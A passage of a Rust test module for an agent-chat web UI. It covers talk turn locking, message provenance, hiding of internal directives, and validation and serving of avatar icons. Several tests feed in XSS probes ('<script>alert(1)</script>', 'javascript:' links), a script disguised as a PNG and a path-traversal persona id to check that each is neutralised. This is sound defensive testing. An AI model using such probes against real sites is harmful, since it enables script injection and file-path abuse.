12351            // and holding it is what makes the talk busy.
12352            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12353            let busy = call("second").await.expect_err("busy talk");
12354            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12355            assert!(
12356                busy.message.contains("a talk turn is running"),
12357                "{}",
12358                busy.message
12359            );
12360            drop(guard);
12361        }
12362        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12363
12364        let Json(view) = call("second").await.expect("switch");
12365        assert_eq!(view.talk.agent, "second");
12366        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12367        let saved = talks.get(&id).expect("reload");
12368        assert_eq!(saved.agent, "second");
12369        assert_eq!(saved.turns.len(), 1);
12370        assert!(!view.thinking);
12371        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12372        for agent in ["mock", "second"] {
12373            let Json(view) = call(agent).await.expect("immediate consecutive change");
12374            assert_eq!(view.talk.agent, agent);
12375            assert!(!view.thinking);
12376            assert!(!ui.is_thinking(&id));
12377        }
12378
12379        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12380            .await
12381            .expect("detail");
12382        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12383        assert_eq!(roster, ["mock", "second"]);
12384
12385        let mut closed = talks.get(&id).expect("reload");
12386        talk::close(&mut closed, &talks).expect("close");
12387        let refused = call("mock").await.expect_err("closed talk");
12388        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12389        assert!(
12390            refused.message.contains("takes no more turns"),
12391            "{}",
12392            refused.message
12393        );
12394    }
12395
12396    #[tokio::test]
12397    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12398        let tmp = TempDir::new().expect("tempdir");
12399        let repo = tmp.path().join("repo");
12400        std::fs::create_dir_all(&repo).expect("repo dir");
12401        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12402        let home = TempDir::new().expect("temp home");
12403        let talks = Talks::at(home.path().join("talks"));
12404        let ui = Arc::new(
12405            Ui::new(
12406                Queue::at(home.path().join("queue")),
12407                Questions::at(home.path().join("questions")),
12408                talks.clone(),
12409                home.path().join("runs"),
12410                home.path().to_path_buf(),
12411                repo.clone(),
12412            )
12413            .with_worktrees_root(home.path().join("wt")),
12414        );
12415        let cfg = config_for(&repo).await.expect("discover config");
12416        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12417        let id = talk.id.clone();
12418        let call = |n: u8| {
12419            talk_implementers(
12420                State(Arc::clone(&ui)),
12421                Path(id.clone()),
12422                Json(TalkImplementers { implementers: n }),
12423            )
12424        };
12425
12426        for bad in [0u8, 4] {
12427            let e = call(bad).await.expect_err("out of range");
12428            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12429        }
12430        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12431
12432        {
12433            // Nothing refused so far took a claim, so the guard is free to take
12434            // and holding it is what makes the talk busy.
12435            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12436            let busy = call(2).await.expect_err("busy talk");
12437            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12438            assert!(
12439                busy.message.contains("a talk turn is running"),
12440                "{}",
12441                busy.message
12442            );
12443            drop(guard);
12444        }
12445
12446        let Json(view) = call(3).await.expect("switch");
12447        assert_eq!(view.talk.implementers, 3);
12448        assert!(talks.get(&id).expect("reload").implementers_dirty);
12449        assert!(!view.thinking);
12450        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12451        for n in [1, 2, 3] {
12452            let Json(view) = call(n).await.expect("immediate consecutive change");
12453            assert_eq!(view.talk.implementers, n);
12454            assert!(!view.thinking);
12455            assert!(!ui.is_thinking(&id));
12456        }
12457
12458        let mut closed = talks.get(&id).expect("reload");
12459        talk::close(&mut closed, &talks).expect("close");
12460        let e = call(2).await.expect_err("closed talk");
12461        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12462        assert!(e.message.contains("takes no more turns"), "{}", e.message);
12463    }
12464
12465    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
12466    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12467        let tmp = TempDir::new().expect("tempdir");
12468        let repo = tmp.path().join("repo");
12469        std::fs::create_dir_all(&repo).expect("repo dir");
12470        std::fs::write(
12471            repo.join("magi.toml"),
12472            format!("{MOCK_AGENT_TOML}\n{extra}"),
12473        )
12474        .expect("write magi.toml");
12475        let home = TempDir::new().expect("temp home");
12476        let talks = Talks::at(home.path().join("talks"));
12477        let ui = Arc::new(
12478            Ui::new(
12479                Queue::at(home.path().join("queue")),
12480                Questions::at(home.path().join("questions")),
12481                talks.clone(),
12482                home.path().join("runs"),
12483                home.path().to_path_buf(),
12484                repo.clone(),
12485            )
12486            .with_worktrees_root(home.path().join("wt")),
12487        );
12488        let cfg = config_for(&repo).await.expect("discover config");
12489        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12490        (tmp, home, ui, talk.id, repo)
12491    }
12492
12493    #[tokio::test]
12494    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12495        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12496        let mut conversation = ui.talks.get(&id).unwrap();
12497        talk::record(
12498            &mut conversation,
12499            &ui.talks,
12500            "# Update on a task you filed\noperator words",
12501            vec![],
12502        )
12503        .unwrap();
12504        // Simulate an old operator record; headings do not prove authorship.
12505        conversation.turns[0].sender = None;
12506        conversation.turns[0].messages.clear();
12507        ui.talks.put(&mut conversation).unwrap();
12508        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12509        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12510        talk::drain(&mut conversation, &ui.talks).unwrap();
12511        talk::record_reply(
12512            &mut conversation,
12513            &ui.talks,
12514            "about that report",
12515            vec![],
12516            Some(talk::ReplyTarget {
12517                turn: 1,
12518                message: 1,
12519            }),
12520        )
12521        .unwrap();
12522        conversation.turns[2].messages[0]
12523            .reply
12524            .as_mut()
12525            .unwrap()
12526            .sender = None;
12527        conversation.turns.push(talk::Turn {
12528            sender: Some(talk::Sender::Persona),
12529            who: talk::Who::Agent,
12530            body: "magi: actual persona words".into(),
12531            at: Timestamp::now(),
12532            attachments: vec![],
12533            usage: None,
12534            breaks: None,
12535            messages: vec![],
12536            posted_by: None,
12537        });
12538        ui.talks.put(&mut conversation).unwrap();
12539        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12540        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12541        assert_eq!(
12542            view.talk.turns[1].messages[0].sender,
12543            Some(talk::Sender::Operator)
12544        );
12545        assert_eq!(
12546            view.talk.turns[1].messages[1].sender,
12547            Some(talk::Sender::Magi)
12548        );
12549        assert_eq!(
12550            view.talk.turns[2].messages[0]
12551                .reply
12552                .as_ref()
12553                .unwrap()
12554                .sender,
12555            Some(talk::Sender::Magi)
12556        );
12557        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12558        assert_eq!(view.turn_messages_md[0].len(), 1);
12559        assert!(view.turn_messages_md[0][0].is_none());
12560        assert!(view.turn_messages_md[1][0].is_none());
12561        assert!(view.turn_messages_md[1][1].is_some());
12562    }
12563
12564    #[tokio::test]
12565    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12566        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12567        let mut conversation = ui.talks.get(&id).unwrap();
12568        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12569        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12570        talk::queue_notice(
12571            &mut conversation,
12572            &ui.talks,
12573            &body,
12574            "watch:123",
12575            &|_| false,
12576            None,
12577            display.clone(),
12578        )
12579        .unwrap();
12580        assert!(
12581            !talk::queue_notice(
12582                &mut conversation,
12583                &ui.talks,
12584                &body,
12585                "watch:123",
12586                &|_| false,
12587                None,
12588                display.clone()
12589            )
12590            .unwrap()
12591        );
12592        let saved = ui.talks.get(&id).unwrap();
12593        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12594        let view = TalkView::with_config(saved, false, None, &ui.home);
12595        assert!(
12596            view.talk.turns[0].messages[0].display.is_none(),
12597            "operator copy stays literal"
12598        );
12599        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12600        assert!(view.turn_messages_md[0][0].is_none());
12601        let queued_md = view.pending_messages_md[0].clone();
12602        assert_eq!(
12603            queued_md,
12604            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12605        );
12606        talk::drain(&mut conversation, &ui.talks).unwrap();
12607        talk::record_reply(
12608            &mut conversation,
12609            &ui.talks,
12610            "Explain",
12611            vec![],
12612            Some(talk::ReplyTarget {
12613                turn: 1,
12614                message: 0,
12615            }),
12616        )
12617        .unwrap();
12618        let mut saved = ui.talks.get(&id).unwrap();
12619        assert_eq!(saved.turns[1].messages[0].body, body);
12620        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12621        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12622        assert!(!reply.excerpt.contains("automatic report"));
12623        reply.excerpt = body.chars().take(240).collect(); // old saved quote
12624        saved.turns[1].messages[0].display = None; // old MAGI send
12625        ui.talks.put(&mut saved).unwrap();
12626        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12627        assert_eq!(view.turn_messages_md[1][0], queued_md);
12628        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12629        assert!(
12630            !view.talk.turns[2].messages[0]
12631                .reply
12632                .as_ref()
12633                .unwrap()
12634                .excerpt
12635                .contains("automatic report")
12636        );
12637        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12638    }
12639
12640    #[tokio::test]
12641    async fn consultation_display_hides_directives_in_queue_and_history() {
12642        for node in [
12643            "implement",
12644            crate::land::APPROVAL_NODE,
12645            crate::github_text::ASK_NODE,
12646        ] {
12647            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12648            let mut question = Question::new(
12649                "run-123".into(),
12650                node.into(),
12651                "seat-1".into(),
12652                "Which backend?".into(),
12653                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12654                vec!["SQLite".into(), "Redis".into()],
12655            );
12656            ui.questions.put(&mut question).unwrap();
12657            let body = crate::prompt::chat_consult(&question);
12658            let mut conversation = ui.talks.get(&id).unwrap();
12659            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12660            assert!(
12661                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12662            );
12663            conversation = ui.talks.get(&id).unwrap();
12664            assert_eq!(conversation.pending_messages[0].body, body);
12665            assert!(body.contains("magi answer"));
12666            let mut legacy_pending = conversation.clone();
12667            legacy_pending.pending_messages[0].display = None;
12668            let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12669            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12670            assert!(legacy_md.contains("Question consultation"));
12671            assert!(!legacy_md.contains("magi answer"));
12672            let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12673            assert!(
12674                view.turn_messages_md[0][0].is_none(),
12675                "operator copy stays literal"
12676            );
12677            let queued_md = view.pending_messages_md[0].clone().unwrap();
12678            let rendered = serde_json::to_string(&queued_md).unwrap();
12679            for visible in [
12680                "Which backend?",
12681                "Context",
12682                "storage",
12683                "SQLite",
12684                "Redis",
12685                "<script>literal</script>",
12686            ] {
12687                assert!(rendered.contains(visible), "missing {visible}");
12688            }
12689            for directive in [
12690                "What to do",
12691                "magi answer",
12692                "Never answer it yourself",
12693                "Do not edit the repository",
12694            ] {
12695                assert!(!rendered.contains(directive), "exposed {directive}");
12696            }
12697            assert_eq!(
12698                view.talk.pending_messages[0].display,
12699                Some(crate::prompt::chat_consult_display(&question))
12700            );
12701            talk::drain(&mut conversation, &ui.talks).unwrap();
12702            let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12703            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12704            assert_eq!(conversation.turns[1].messages[0].body, body);
12705
12706            // Historical consultations lack a snapshot: show a safe placeholder
12707            // rather than parsing instructions or reconstructing mutable facts.
12708            conversation.turns[1].messages[0].display = None;
12709            let view = TalkView::with_config(conversation, false, None, &ui.home);
12710            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12711            assert!(legacy.contains("Question consultation"));
12712            assert!(!legacy.contains("magi answer"));
12713            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12714        }
12715    }
12716
12717    #[test]
12718    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12719        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12720        let (body, mut display) =
12721            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12722        display.facts = facts.into();
12723        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12724        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12725        let json = serde_json::to_string(&nodes).unwrap();
12726        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12727            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12728        }
12729        assert!(json.contains("<script>alert(1)</script>"));
12730        assert!(!json.contains("javascript:"));
12731        assert!(!json.contains("Tell the operator"));
12732        assert!(!json.contains("untrusted"));
12733        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12734        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12735        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12736        assert_eq!(
12737            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12738            md::to_nodes("# Status", &md::ImageBase::None),
12739        );
12740    }
12741
12742    #[tokio::test]
12743    async fn notification_display_recovers_exact_legacy_completion_references() {
12744        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12745        let mut conversation = ui.talks.get(&id).unwrap();
12746        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12747            id: "task-123",
12748            title: "Change",
12749            status: "done",
12750            reason: None,
12751            run: Some("run-123"),
12752            pr: None,
12753            summary: Some("Merge state unknown"),
12754        });
12755        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12756        conversation.turns[0].sender = None;
12757        conversation.turns[0].messages.clear();
12758        conversation.turns[0].breaks = None;
12759        conversation.pending = body.clone();
12760        conversation
12761            .completion_notices
12762            .push(crate::chat_notify::CompletionReference {
12763                task: "task-123".into(),
12764                run: Some("run-123".into()),
12765                notice: body.clone(),
12766            });
12767        ui.talks.put(&mut conversation).unwrap();
12768        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12769        assert_eq!(
12770            view.talk.turns[0].messages[0].display,
12771            Some(display.clone())
12772        );
12773        assert_eq!(view.talk.pending_messages[0].display, Some(display));
12774        assert_eq!(
12775            view.talk.turns[0].messages[0].sender,
12776            Some(talk::Sender::Magi)
12777        );
12778        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12779        conversation.completion_notices[0]
12780            .notice
12781            .push_str("different");
12782        let view = TalkView::with_config(conversation, false, None, &ui.home);
12783        assert!(view.talk.turns[0].messages.is_empty());
12784        assert!(view.talk.pending_messages.is_empty());
12785    }
12786
12787    #[tokio::test]
12788    async fn avatar_settings_report_states_and_inherit_after_corruption() {
12789        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12790        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
12791            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
12792        ))
12793        .await;
12794        let path = avatar_setting_path(home.path(), Some("rei"));
12795        let orphan = avatar_setting_path(home.path(), Some("removed"));
12796        save_icon_file(&orphan, icon).unwrap();
12797        for (saved, expected) in [
12798            (icon, "custom"),
12799            ("builtin", "builtin"),
12800            ("data:image/png;base64,!!!!", "inherit"),
12801            ("data:image/png;base64,PGh0bWw+", "inherit"),
12802            ("/tmp/avatar.png", "inherit"),
12803        ] {
12804            atomic_icon_write(&path, saved).unwrap();
12805            let catalog =
12806                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
12807                    .await
12808                    .unwrap()
12809                    .0;
12810            let personas = catalog["personas"].as_array().unwrap();
12811            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
12812            assert_eq!(rei["override_state"], expected);
12813            assert_eq!(rei["has_config_icon"], true);
12814            assert_eq!(rei["is_orphan"], false);
12815            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
12816            assert_eq!(removed["override_state"], "custom");
12817            assert_eq!(removed["is_orphan"], true);
12818            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
12819            assert_eq!(default["override_state"], "inherit");
12820            assert_eq!(default["has_config_icon"], false);
12821            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
12822            assert_eq!(
12823                effective.as_deref(),
12824                Some(if expected == "builtin" { "" } else { icon })
12825            );
12826        }
12827    }
12828
12829    #[tokio::test]
12830    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
12831        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12832        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
12833            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
12834        ))
12835        .await;
12836        let target = |id: Option<&str>| AvatarSettingsQuery {
12837            persona: id.map(str::to_owned),
12838            ..Default::default()
12839        };
12840        let original_config = config_for(&repo).await.unwrap();
12841        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
12842        let original_prompt = persona::section_for(&original_persona, None);
12843        let before = talk_detail(State(ui.clone()), Path(id.clone()))
12844            .await
12845            .unwrap()
12846            .0;
12847        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
12848            let _ = avatar_settings_put(
12849                State(ui.clone()),
12850                Query(target(persona)),
12851                Json(MagiIconUpload { icon: icon.into() }),
12852            )
12853            .await
12854            .unwrap();
12855            let path = avatar_setting_path(home.path(), persona);
12856            assert!(path.starts_with(home.path().join("avatars")));
12857            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12858            for bad in [
12859                "/tmp/image.png".to_owned(),
12860                "data:image/png;base64,!!!!".to_owned(),
12861                "data:image/png;base64,PGh0bWw+".to_owned(),
12862                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12863                format!(
12864                    "data:image/png;base64,{}",
12865                    "A".repeat(persona_icon::ICON_MAX_BYTES)
12866                ),
12867            ] {
12868                assert!(
12869                    avatar_settings_put(
12870                        State(ui.clone()),
12871                        Query(target(persona)),
12872                        Json(MagiIconUpload { icon: bad })
12873                    )
12874                    .await
12875                    .is_err()
12876                );
12877                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12878            }
12879        }
12880        assert!(read_magi_icon(home.path()).is_none());
12881        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
12882        let after = talk_detail(State(ui.clone()), Path(id.clone()))
12883            .await
12884            .unwrap()
12885            .0;
12886        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
12887        assert_ne!(
12888            before
12889                .personas
12890                .iter()
12891                .find(|p| p.id == "magi")
12892                .unwrap()
12893                .avatar,
12894            after
12895                .personas
12896                .iter()
12897                .find(|p| p.id == "magi")
12898                .unwrap()
12899                .avatar
12900        );
12901        let restarted = Arc::new(Ui::new(
12902            Queue::at(home.path().join("queue")),
12903            Questions::at(home.path().join("questions")),
12904            Talks::at(home.path().join("talks")),
12905            home.path().join("runs"),
12906            home.path().to_owned(),
12907            repo,
12908        ));
12909        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
12910            .await
12911            .unwrap()
12912            .0;
12913        assert!(
12914            catalog["personas"]
12915                .as_array()
12916                .unwrap()
12917                .iter()
12918                .any(|p| p["id"] == "../custom/日本語")
12919        );
12920        for expected in ["custom", "default", "rei"] {
12921            assert!(
12922                catalog["personas"]
12923                    .as_array()
12924                    .unwrap()
12925                    .iter()
12926                    .any(|p| p["id"] == expected)
12927            );
12928        }
12929        let response =
12930            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
12931        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12932        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
12933            .await
12934            .unwrap();
12935        assert_eq!(
12936            effective_persona_icon(home.path(), "rei", Some(icon)),
12937            Some(String::new())
12938        );
12939        let response = talk_avatar(
12940            State(restarted.clone()),
12941            Path(id.clone()),
12942            Query(AvatarQuery {
12943                persona: Some("rei".into()),
12944                ..Default::default()
12945            }),
12946        )
12947        .await
12948        .unwrap();
12949        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
12950        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
12951            .await
12952            .unwrap()
12953            .0;
12954        assert_ne!(
12955            after
12956                .personas
12957                .iter()
12958                .find(|p| p.id == "rei")
12959                .unwrap()
12960                .avatar,
12961            reset
12962                .personas
12963                .iter()
12964                .find(|p| p.id == "rei")
12965                .unwrap()
12966                .avatar
12967        );
12968        let mut inherit = target(Some("rei"));
12969        inherit.inherit = Some("1".into());
12970        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
12971            .await
12972            .unwrap();
12973        assert_eq!(
12974            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
12975            Some(icon)
12976        );
12977        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
12978            .await
12979            .unwrap();
12980        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
12981        assert_eq!(
12982            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
12983            Some(icon)
12984        );
12985        // Display changes never rewrite the conversation or its prompt-bearing config.
12986        let cfg = config_for(&ui.repo).await.unwrap();
12987        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
12988        assert_eq!(persona::section_for(&resolved, None), original_prompt);
12989        assert!(!original_prompt.contains("data:image"));
12990        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
12991        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
12992        assert!(!stored.contains("data:image"));
12993        let mut orphan = ui.talks.get(&id).unwrap();
12994        orphan.persona = "../custom/日本語".into();
12995        let view = TalkView::with_config(orphan, false, Some(&cfg), home.path());
12996        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
12997    }
12998
12999    #[tokio::test]
13000    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13001        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13002        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13003        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13004        let _ = magi_icon_put(
13005            State(ui.clone()),
13006            Json(MagiIconUpload { icon: icon.into() }),
13007        )
13008        .await
13009        .unwrap();
13010        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13011        assert_ne!(original, changed);
13012        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13013        let response = magi_avatar(
13014            State(ui.clone()),
13015            Query(AvatarQuery {
13016                persona: None,
13017                builtin: None,
13018            }),
13019        )
13020        .await;
13021        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13022        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13023        assert_eq!(
13024            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13025            "nosniff"
13026        );
13027        for bad in [
13028            "data:image/png;base64,PGh0bWw+".to_owned(),
13029            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13030            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13031        ] {
13032            assert!(save_magi_icon(home.path(), &bad).is_err());
13033            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13034        }
13035        // Re-opened server state reads the same independent home file.
13036        let restarted = Arc::new(Ui::new(
13037            Queue::at(home.path().join("queue")),
13038            Questions::at(home.path().join("questions")),
13039            Talks::at(home.path().join("talks")),
13040            home.path().join("runs"),
13041            home.path().to_path_buf(),
13042            repo,
13043        ));
13044        assert_eq!(
13045            magi_icon_get(State(restarted.clone())).await.0["avatar"],
13046            changed
13047        );
13048        let view = TalkView::with_config(
13049            restarted.talks.get(&id).unwrap(),
13050            false,
13051            None,
13052            &restarted.home,
13053        );
13054        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13055        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13056        let response = magi_avatar(
13057            State(ui.clone()),
13058            Query(AvatarQuery {
13059                persona: None,
13060                builtin: None,
13061            }),
13062        )
13063        .await;
13064        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13065            .await
13066            .unwrap();
13067        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13068        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13069        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13070        let _ = magi_icon_delete(State(ui)).await.unwrap();
13071    }
13072
13073    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
13074    async fn avatar(
13075        ui: &Arc<Ui>,
13076        id: &str,
13077        persona: Option<&str>,
13078        builtin: bool,
13079    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13080        let res = talk_avatar(
13081            State(Arc::clone(ui)),
13082            Path(id.to_owned()),
13083            Query(AvatarQuery {
13084                persona: persona.map(str::to_owned),
13085                builtin: builtin.then(|| "1".to_owned()),
13086            }),
13087        )
13088        .await
13089        .expect("an avatar is never an error response");
13090        let h = res.headers();
13091        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13092        let nosniff = h
13093            .get(header::X_CONTENT_TYPE_OPTIONS)
13094            .is_some_and(|v| v == "nosniff");
13095        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13096        let status = res.status();
13097        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13098            .await
13099            .expect("body")
13100            .to_vec();
13101        (status, ct, nosniff, csp, body)
13102    }
13103
13104    fn tiny_png() -> Vec<u8> {
13105        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13106        b.extend_from_slice(&[0u8; 32]);
13107        b
13108    }
13109
13110    #[tokio::test]
13111    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13112        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13113        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13114        assert_eq!(res.status(), StatusCode::OK);
13115        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13116        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13117        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13118        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13119        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13120            .await
13121            .unwrap();
13122        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13123        assert_ne!(
13124            persona_icon::operator_svg(),
13125            persona_icon::builtin_svg("default")
13126        );
13127    }
13128
13129    #[tokio::test]
13130    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
13131        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
13132        for p in [
13133            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
13134        ] {
13135            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
13136            assert_eq!(status, StatusCode::OK, "{p}");
13137            assert_eq!(ct, "image/svg+xml", "{p}");
13138            assert!(nosniff && csp, "{p}");
13139            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
13140        }
13141        // No `persona` means the conversation's own; unknown ones fall back.
13142        let own = avatar(&ui, &id, None, false).await;
13143        let default = avatar(&ui, &id, Some("default"), false).await;
13144        assert_eq!(own.4, default.4);
13145        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
13146        assert_eq!(unknown.1, "image/svg+xml");
13147    }
13148
13149    #[tokio::test]
13150    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
13151        let dir = TempDir::new().expect("icons");
13152        let good = dir.path().join("good.png");
13153        std::fs::write(&good, tiny_png()).unwrap();
13154        let spoof = dir.path().join("spoof.png");
13155        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
13156        let big = dir.path().join("big.png");
13157        let mut bytes = tiny_png();
13158        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
13159        std::fs::write(&big, bytes).unwrap();
13160        let missing = dir.path().join("missing.png");
13161        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
13162        let extra = format!(
13163            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
13164             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
13165             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
13166             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
